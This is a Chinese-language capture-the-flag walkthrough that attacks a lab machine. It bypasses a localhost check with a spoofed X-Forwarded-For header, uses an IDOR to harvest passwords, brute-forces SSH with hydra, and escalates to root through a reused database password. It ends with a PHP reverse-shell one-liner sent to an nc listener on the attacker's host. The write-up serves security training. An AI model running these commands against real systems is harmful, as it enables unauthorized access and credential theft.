此靶机具有雙flag
,一個是普通用戶的,另一個是root
用戶的
工具及漏洞信息#
- netdiscover
- nmap
- gobuster
- hydra
- x-forwarded-for 本地訪問
- 水平越權
- mysql 密碼可能就是 root 密碼
0x01 信息收集#
掃描靶機#
使用netdiscover
的-r
參數掃描192.168.1.0/16
的結果如下:
使用nmap
掃描主機和端口信息:
nmap -sS -A -n -T4 -p- 192.168.1.12
可以看到只開啟了ssh
和web
80 端口
掃描路徑#
雖然大部分情況下不需要掃描路徑,但是做工作做全套
使用gobuster
掃描路徑:
gobuster dir -u http://192.168.1.12 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt
看來是沒什麼了,只有robots.txt
必須每次要看一下,得到文件路徑heyhoo.txt
得到了不痛不癢的提示:
Great! What you need now is reconn, attack and got the shell。
訪問首頁如下:
提示只能從本地訪問,ctf
中的入門問題:x-forwarded-for
需要改為127.0.0.1
表示來自本地的訪問
有多種方法可用,抓包也行,插件更多:Header Editor
,X-Forwarded-For Header
我這裡使用X-Forwarded-For Header
:
0x02 普通帳戶 shell#
進入首頁:
嘗試使用弱口令登錄無效,那我們註冊一個帳戶:
登錄後鏈接變為:
http://192.168.1.12/index.php?page=dashboard&user_id=12
看到這個user_id=xxx
就想把它改為 1,用戶名和密碼發生了改變:
通過firefox
網頁源代碼查看功能,發現把密碼隱藏框的屬性type
由password
改為其他任意的就可以查看密碼:
存在水平越權,又能查看密碼,那我們就把整個數據庫的帳戶密碼存下來
前面端口掃描的時候,記得除了80
還有一個22
的ssh
登錄
使用hydra
和我們爆破出的帳戶密碼來爆破ssh
服務:
hydra -L user.txt -P passwd.txt -t 4 -I ssh://192.168.1.12
- -t:4 每個目標並行連接的任務數,因為
ssh
很容易被測試崩 - -I 表示跳過煩人的等待時間
爆破成功,獲得ssh
的帳號密碼:alice/4lic3
,登陸之
0x03 提權 root#
登錄後第一步查看當前目錄:ls -al
在.my_secret
目錄下獲得第一個flag
我們在掃描網站路徑時除了robots.txt
好像還有點其他東西,於是進入網站根目錄看一下:
cd /var/www/html
config
目錄裡是一個配置文件,內容為mysql
的連結:
嘗試連接sql
數據庫查看信息:
指定配置文件中給出的數據庫,查看內容:
只是網站上的用戶的數據庫,沒什麼可用的
正當我覺得沒用的時候,突然想到萬一這不僅僅是數據庫的密碼呢?
退出數據庫,切換root
用戶:su root
,輸入數據庫的密碼:
進去了!WTF?
0x04 換種方法提權 root#
不行啊,這也太沒技術含量了,這不就是查看目錄的操作嗎?
下面我們再換一種沒有技術含量的方法::quyin:1huaji::
現在kali
上監聽nc -lvp 3333
靶機上php
反彈shell
:
sudo /usr/bin/php -r '$sock=fsockopen("192.168.1.2",3333);exec("/bin/sh -i <&3 >&3 2>&3");'
參考文章:
本文完。